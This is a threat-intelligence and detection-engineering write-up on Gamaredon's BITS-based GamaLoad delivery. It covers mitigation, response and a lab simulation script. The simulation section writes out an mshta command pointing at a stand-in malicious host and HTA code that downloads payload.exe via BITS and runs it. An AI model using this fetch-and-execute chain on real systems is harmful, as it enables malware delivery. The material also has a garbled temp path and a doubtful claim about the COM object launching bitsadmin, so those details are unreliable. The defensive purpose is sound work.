Gamaredon: Abusing BITS for “Windows Update”-Style Malware Delivery

Summary

Gamaredon has refreshed its GamaLoad delivery scripts to fetch payloads through the Windows Background Intelligent Transfer Service (BITS) utility, reducing reliance on previously filtered LOLBins such as mshta.exe. By pivoting to BITS-based transfers, the actors can blend downloads into “normal” Windows update-style activity and improve reliability in locked-down or proxy-restricted environments where traditional scripted downloaders are more likely to be blocked or flagged.

Investigation

The write-up explains that the updated GamaLoad logic introduces a second fallback path that invokes bitsadmin when earlier download methods fail. The overall flow remains consistent: a phishing-delivered RAR attachment unpacks and places an HTA file in the Startup folder to establish persistence and kick off execution. The key change is in payload retrieval—BITS is now used to pull follow-on content, helping the chain bypass controls tuned for mshta/XMLHTTP-style download behavior.

Mitigation

Harden endpoints with application control policies that restrict or condition bitsadmin execution and limit who can create BITS jobs. Monitor for suspicious BITS job creation and unusual job naming, owners, or destinations. Enforce strict egress controls and URL filtering to prevent connections to untrusted or newly observed infrastructure. Keep existing controls that block mshta.exe and XMLHTTP-based download patterns, but extend coverage to include BITS abuse and related transfer telemetry.

Response

Alert on unexpected bitsadmin command lines—particularly those launched from user contexts, email-driven execution chains, or non-system parent processes. Correlate BITS activity with phishing indicators (RAR/HTA delivery, Startup-folder writes) and rapidly isolate affected hosts. Preserve endpoint and network telemetry to identify downloaded payloads, remove persistence artifacts, and scope for additional systems showing similar BITS job patterns.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Recon & Preparation:

     • The attacker hosts a malicious HTA file (evil.hta) on a compromised web server (http://malicious.example/evil.hta).
     • The HTA contains JavaScript that calls bitsadmin.exe to download a second-stage payload (payload.exe) from the same server and then execute it.

  2. Initial Execution via mshta.exe:

     • The attacker delivers a short PowerShell one‑liner (e.g., via phishing) that runs:

       mshta.exe "http://malicious.example/evil.hta"

     • This creates a process creation event for mshta.exe.

  3. Background Download with bitsadmin.exe (inside the HTA):

     // Inside evil.hta
     var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control");
     bits.CreateJob("maliciousJob");
     bits.AddFile("http://malicious.example/payload.exe", "%TEMP%\payload.exe");
     bits.Start();
     bits.WaitUntilComplete();
     var shell = new ActiveXObject("WScript.Shell");
     shell.Run("%TEMP%\payload.exe");

     • This launches bitsadmin.exe (or the BITS COM object which resolves to the same binary), generating a process creation event for bitsadmin.exe.

  4. Second‑stage Execution: The downloaded payload.exe runs, completing the intrusion.

• Regression Test Script: The script below reproduces the above steps in a controlled lab environment using a local HTA file.

  # -------------------------------------------------
  # Simulated Gamaredon payload delivery – regression script
  # -------------------------------------------------
  $tempDir = "$env:TEMPgamaredon_test"
  New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
  
  # 1. Create a benign HTA that mimics the malicious one (downloads a harmless file)
  $htaContent = @"
  <html>
  <head><title>Test HTA</title></head>
  <script >
      var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control");
      bits.CreateJob("testJob");
      bits.AddFile("https://example.com/", "%TEMP%\test_download.txt");
      bits.Start();
      bits.WaitUntilComplete();
      var shell = new ActiveXObject("WScript.Shell");
      // No execution of payload – just a placeholder
  </script>
  </html>
  "@
  $htaPath = Join-Path $tempDir "test.hta"
  Set-Content -Path $htaPath -Value $htaContent -Encoding ASCII
  
  # 2. Trigger mshta.exe with the HTA (this will spawn mshta.exe)
  Write-Host "[+] Launching mshta.exe with test HTA..."
  Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaPath`"" -NoNewWindow
  
  # 3. Wait a short period for bitsadmin to launch
  Start-Sleep -Seconds 5
  
  # 4. Cleanup
  Write-Host "[+] Cleanup..."
  Remove-Item -Recurse -Force $tempDir

• Cleanup Commands:

  # Stop any lingering bitsadmin jobs
  bitsadmin /reset /allusers
  
  # Remove any test files that may have been created
  Remove-Item -Path "$env:TEMPtest_download.txt" -ErrorAction SilentlyContinue